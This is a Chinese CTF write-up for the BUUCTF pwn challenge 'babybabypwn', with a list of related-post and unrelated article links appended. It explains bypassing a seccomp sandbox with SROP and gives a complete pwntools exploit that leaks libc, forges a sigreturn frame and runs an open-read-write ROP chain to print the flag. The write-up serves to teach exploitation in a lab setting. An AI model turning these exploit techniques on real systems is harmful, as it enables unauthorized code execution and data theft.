[V&N2020 公开赛]babybabypwn

附件

步骤:

  1. 例行检查,64位程序,保护全开

  2. 本地试运行一下,看看程序的大概情况

  3. 64位ida载入,看一下main函数

  4. sub_1202()函数,沙盒的限制条件

  5. 用seccomp-tools看一下

    其他禁用的指令是干什么的我不是很清楚,但是禁用了execve(系统调用),也就没办法获取shell权限了,只能够想办法通过open–>read–>write的方式来获取flag的值了

  6. sub_1347()函数

  7. 一开始给我们泄露了puts函数的地址,接着读入参数buf,限制了长度,不存在溢出,之后进行系统调用syscall,syscall是一个间接系统调用函数
    间接系统调用号
    第一个参数可以是很多数,百度后得知,第一个参数是15的时候代表调用的是sigreturn,看网上师傅都说遇到sigreturn就用SROP

  8. 关于SROP可以看一下这篇文章,总结的很好
    借用一下里面的总结
    如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)

    在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn

    我们将这段内存称为一个Signal Frame
    在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。

  9. 其主要思路是利用信号处理函数结束时,内核在恢复进程上下文时,需要从栈上取Signal Frame来恢复寄存器,由于栈上内容是我们可以控制的,因此可以利用这个过程,人为的操作Signal Frame,进而达到操作寄存器的目的。

  10. 这道题我们可以看到,没有调用signal,,直接就调用了syscall(15)也就是sigreturn函数,我们之前输入的buf被当作各种寄存器参数依次出栈,这个buf充当的角色也就是上面所说的 Signal Frame ,buf的数据我们是可控的,也就是说我们可以按我们的意愿构造进程状态。
    我们就可以通过syscall(15)构造好Signal Frame,把程序流伪造为下一个要执行的函数是read,把我们精心构造的ROP写到某个地方,然后ret过去进行ROP,一般都是写在全局变量段bss段上

  11. 由于开启了PIE,所以我们不知道程序里的地址,但好在泄露了puts函数的地址,这样就可以知道libc版本,然后去计算程序里的函数的地址

    找一下libc里bss段的地址(这边有个坑,可能是因为我在buu平台上做的题,在这边下的libc_2.23这个libc版本里的函数地址和buu上的libc-2.23里的地址不一样,这题用buu上的libc地址可以打通)

    64位传参,用到了寄存器,先找一下设置寄存器值的指令
    ROPgadget --binary libc-2.23.so |grep “pop rdi”

    ROPgadget --binary libc-2.23.so |grep “pop rsi”

    ROPgadget --binary libc-2.23.so |grep “pop rdx”

    根据上述的信息,我们可以算出程序里的一些寄存器和bss段的实际地址了

r.recvuntil(': ')
puts_addr = int(r.recv(14), 16) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts')
open_addr = libcbase + libc.dump('open')
read = libcbase + libc.dump('read')
write = libcbase + libc.dump('write')
bss = libcbase + 0x3c5720 + 0x400#往栈上压入数据是从下往上写的, 0x3c5720是bss段的起始地址,我们需要先抬高一下栈,不然往bss段里写东西的时候会覆盖掉其他段的值,可能会导致利用失败
pop_rdi = libcbase + 0x21102
pop_rsi = libcbase + 0x202e8
pop_rdx = libcbase + 0x1b92

在知道了上述的地址后,我们就可以利用pwntools直接来构造Signal Frame
记得在exp的开头加上context(os='linux', arch='amd64', log_level='debug')来设置一下pwntool是环境,不然没法直接利用pwntools来构造Signal Frame

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x100
frame.rip = read
frame.rsp = bss
r.sendafter('Please input magic message:', str(frame)[8:])

简单说一下为什么要舍弃frame的前8位

通过查看汇编可以看到,下一次函数跳转的时候用到了var_8的值,var_8在栈上的位置


在栈上的前8字节,所以我们写入frame 的时候要舍弃掉前8位,避免破坏var_8的值,debug调试可以看到前8位是0x00,不影响

我们构造的Signal Frame实现的功能主要是调用read函数往bss段写入内容,然后跳转到bss段执行我们布置好的语句
我们现在要去bss段布置rop攻击的语句,由于禁用了execve,所以使用的open–>read–>write这样的方式读出flag

现在要找一下’flag’ 字符串的位置

它这个位置距离我们想要写入的bss段的地址是0x98,我们可以用bss+0x98来表示它(写exp的时候得到了bss段的实际地址输出看一下,每次启动的都不一样,但是他们的相对距离是固定的)

flag_addr = bss + 0x98
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write)
payload += 'flag'

完整exp

from pwn import *
from LibcSearcher import * #local_libc = './libc-2.23.so'
#r = remote('node3.buuoj.cn', 28427)
r=process('./vn_pwn_babybabypwn_1')
elf = ELF('./vn_pwn_babybabypwn_1') context(os='linux', arch='amd64', log_level='debug') r.recvuntil(': ')
puts_addr = int(r.recv(14), 16) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts')
open_addr = libcbase + libc.dump('open')
read = libcbase + libc.dump('read')
write = libcbase + libc.dump('write')
bss = libcbase + 0x00000000003c5720 + 0x400
pop_rdi = libcbase + 0x21102
pop_rsi = libcbase + 0x202e8
pop_rdx = libcbase + 0x1b92 frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x100
frame.rip = read
frame.rsp = bss
r.sendafter('Please input magic message:', str(frame)[8:])
print 'bss:'+hex(bss) flag_addr = bss + 0x98
#flag_addr=0x7ffff77d2f6a
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write)
payload += 'flag\x00' #gdb.attach(r) r.send(payload) r.interactive()

[BUUCTF]PWN——[V&N2020 公开赛]babybabypwn的更多相关文章

  1. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  2. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

  3. [BUUCTF]PWN——[V&N2020 公开赛]warmup

    [V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...

  4. [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe

    [V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...

  5. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  6. [V&N2020 公开赛]babybabypwn

    写在开头,感谢"影二つ"师傅的指点. 题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节. 在看题目之前,先来学 ...

  7. 【pwn】V&N2020 公开赛 simpleHeap

    [pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...

  8. 刷题记录:[V&N2020 公开赛]TimeTravel

    题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...

  9. [V&N2020 公开赛] Web misc部分题解

    0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...

随机推荐

  1. [源码解析] PyTorch 分布式(10)------DistributedDataParallel 之 Reducer静态架构

    [源码解析] PyTorch 分布式(10)------DistributedDataParallel之Reducer静态架构 目录 [源码解析] PyTorch 分布式(10)------Distr ...

  2. 洛谷 P4062 - [Code+#1]Yazid 的新生舞会(权值线段树)

    题面传送门 题意: 给出一个序列 \(a\),求 \(a\) 有多少个子区间 \([l,r]\),满足这个区间中出现次数最多的数出现次数 \(>\dfrac{r-l+1}{2}\) \(1 \l ...

  3. Comet OJ Contest #13 D

    Comet OJ Contest #13 D \(\displaystyle \sum_{i=0}^{\left\lfloor\frac{n}{2}\right\rfloor} a^{i} b^{n- ...

  4. 数据仓库分层中的ODS、DWD、DWS

    1.数据仓库DW 1.1简介 Data warehouse(可简写为DW或者DWH)数据仓库,是在数据库已经大量存在的情况下,为了进一步挖掘数据资源.为了决策需要而产生的,它是一整套包括了etl.调度 ...

  5. Pandas 简介

    Pandas 简介 pandas 是 python 内基于 NumPy 的一种工具,主要目的是为了解决数据分析任务.Pandas 包含了大量库和一些标准的数据模型,提供了高效地操作大型数据集所需的工具 ...

  6. mysql—将字符型数字转成数值型数字

    今天写sql语句时,相对字符串类型的数字进行排序,怎么做呢? 需要先转换成数字再进行排序 1.直接用加法 字符串+0 eg: select * from orders order by (mark+0 ...

  7. 34、在排序数组中查找元素的第一个和最后一个位置 | 算法(leetode,附思维导图 + 全部解法)300题

    零 标题:算法(leetode,附思维导图 + 全部解法)300题之(34)在排序数组中查找元素的第一个和最后一个位置 一 题目描述 二 解法总览(思维导图) 三 全部解法 1 方案1 1)代码: / ...

  8. 使用Postman轻松实现接口数据关联

    Postman Postman是一款非常流行的HTTP(s)接口测试工具,入门简单,界面美观,功能强大.作为一个测试/开发工程师,这是一款必须要会用的工具.今天以一个实际的案例,来介绍下Postman ...

  9. Go语言核心36讲(Go语言实战与应用二十二)--学习笔记

    44 | 使用os包中的API (上) 我们今天要讲的是os代码包中的 API.这个代码包可以让我们拥有操控计算机操作系统的能力. 前导内容:os 包中的 API 这个代码包提供的都是平台不相关的 A ...

  10. 容器中的容器——利用Dind实现开箱即用的K3s

    我在学习 Rancher 和 Minikube 的时候,发现它们都可以在自己的容器环境中提供一个 K3s 或 K8s 集群.尤其是 Minikube ,用户可以在它的容器环境中执行 docker ps ...